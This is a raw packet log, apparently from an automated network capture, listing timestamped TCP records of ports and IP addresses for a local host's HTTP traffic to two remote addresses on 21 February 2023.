Feb 21, 2023 07:09:10.046439886 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:10.089667082 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:10.089951992 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:10.172952890 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:10.173178911 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:10.216244936 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:10.217997074 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:10.324558973 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:10.369961023 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:10.559519053 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.487998962 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.531332970 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.533371925 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.533495903 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.533557892 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.533646107 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.533689976 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.533775091 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.533868074 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.533916950 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.576471090 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.576512098 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.576586962 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.576615095 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.576649904 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.576808929 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.576879978 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.577055931 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.577094078 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.577213049 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.577332020 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.577442884 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.577516079 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.577636003 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.577749968 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.577841997 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.577929020 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.578044891 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.578161001 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.578246117 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.578340054 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.578372955 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.578479052 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.622432947 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.664130926 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.707276106 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.707779884 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.790863991 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.793406963 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.836525917 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.838639975 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:11.948409081 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:11.993714094 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:12.073077917 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:13.450315952 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:13.493525028 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.574637890 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:13.765899897 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:13.766048908 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:13.766294003 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:13.766433001 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:13.766520977 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:13.766608953 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:13.766719103 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:13.766761065 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:13.809421062 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.809499979 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.809535980 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.809596062 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:13.809777975 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.809813976 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.809847116 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.809883118 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.810015917 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.810051918 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.810211897 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.810270071 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.810369968 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.810460091 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.810493946 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.810667992 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.810758114 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.810899973 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.810966015 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.811002016 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.811125040 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.855283022 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.909579039 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:13.953025103 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:13.995812893 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:14.079894066 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:14.080117941 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:14.123466015 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:14.125657082 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:14.241420031 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:14.288146019 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:14.362037897 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.046732903 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.090070963 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.090423107 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.090544939 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.090544939 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.090656996 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.090727091 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.090800047 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.090878010 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.090933084 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.133630037 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.133709908 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.133747101 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.133781910 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.133846045 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.133862972 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.133927107 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.134092093 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.134186983 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.134308100 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.134413958 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.134500980 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.134576082 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.134706974 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.134749889 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.134888887 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.135015965 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.135051966 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.135133982 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.135256052 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.135386944 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.135423899 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.135545015 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.179073095 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.242733955 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.286123037 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.286426067 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.369874954 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.369971037 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.413180113 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.415148973 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.463609934 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.526526928 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.572582006 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.682910919 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.729281902 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.841386080 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:15.887371063 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:15.995322943 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:16.041290045 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:16.151900053 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:16.198023081 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:16.260608912 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:16.324141026 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:16.369510889 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:16.479705095 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:16.525847912 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:16.573064089 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:16.664943933 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:16.713160992 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:16.766890049 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:16.823482990 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:16.869951963 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:16.977602005 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.023437023 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.152528048 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.199012041 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.300510883 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.346276999 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.450063944 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.496035099 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.562299013 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.702862978 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.746138096 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.746427059 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.746567011 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.746977091 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.746977091 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.747085094 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.747085094 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.747159958 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.747160912 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.789800882 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.789874077 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.789927959 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.789967060 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.790005922 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.790193081 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.790227890 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.790318012 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.790440083 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.790540934 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.790641069 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.790798903 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.790904045 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.791027069 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.791063070 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.791260958 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.791296959 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.791507959 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.791543961 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.791634083 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.791738033 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.791878939 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.836757898 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.855314970 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.898658037 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.898989916 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:17.981961966 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:17.982177019 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.025981903 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.027534008 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.137335062 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.183180094 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.261059046 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.334348917 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.377639055 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.380726099 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.380847931 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.380933046 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.380995035 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.381068945 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.381158113 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.381213903 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.381268978 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.424031019 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.424132109 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.424154997 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.424196005 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.424293995 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.424403906 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.424657106 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.424694061 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.424822092 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.424918890 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.425048113 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.425319910 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.425355911 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.425482988 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.425674915 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.425770998 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.425899982 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.425995111 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.426132917 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.426315069 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.426352024 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.469153881 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.547580004 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.590831041 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.722069979 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.804851055 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.804970980 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:18.848093987 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.849927902 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:18.964562893 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.009815931 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.074807882 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.402653933 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.448436975 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.524832010 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.568041086 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.568312883 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.568312883 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.568432093 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.568432093 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.568506002 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.568506002 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.568553925 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.568553925 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.611488104 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.611537933 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.611572981 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.611605883 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.611608028 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.611772060 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.611907005 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.611951113 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.611995935 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.612143993 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.612420082 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.612454891 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.612509012 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.612627029 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.612850904 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.612886906 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.613055944 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.613104105 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.613214016 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.613287926 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.613401890 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.656646013 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.732913971 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.776050091 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.776230097 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.858853102 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.858987093 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:19.902017117 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.903903961 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:19.981790066 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:20.005451918 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:20.050606012 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:20.162800074 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:20.241255045 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:20.286432981 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:20.397542000 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:20.442960024 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:20.553746939 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:20.598937035 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:20.664216995 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:20.674566984 CET	49753	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:09:20.706952095 CET	80	49753	208.95.112.1	192.168.2.3
Feb 21, 2023 07:09:20.708313942 CET	49753	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:09:20.721164942 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:20.725835085 CET	49753	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:09:20.760139942 CET	80	49753	208.95.112.1	192.168.2.3
Feb 21, 2023 07:09:20.766609907 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:20.882010937 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:20.927321911 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:20.975337982 CET	49753	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:09:20.975483894 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:21.038059950 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:21.083822012 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:21.162975073 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:21.194432974 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:21.239901066 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:21.350624084 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:21.395812988 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:21.475383997 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:21.506978035 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:21.553009987 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:21.654232979 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:21.701169014 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:21.804229975 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:21.849747896 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:21.993828058 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.038942099 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.131175041 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.174336910 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:22.174702883 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.174813032 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.174813032 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.174916983 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:22.174916983 CET	49746	80	192.168.2.3	89.45.67.2
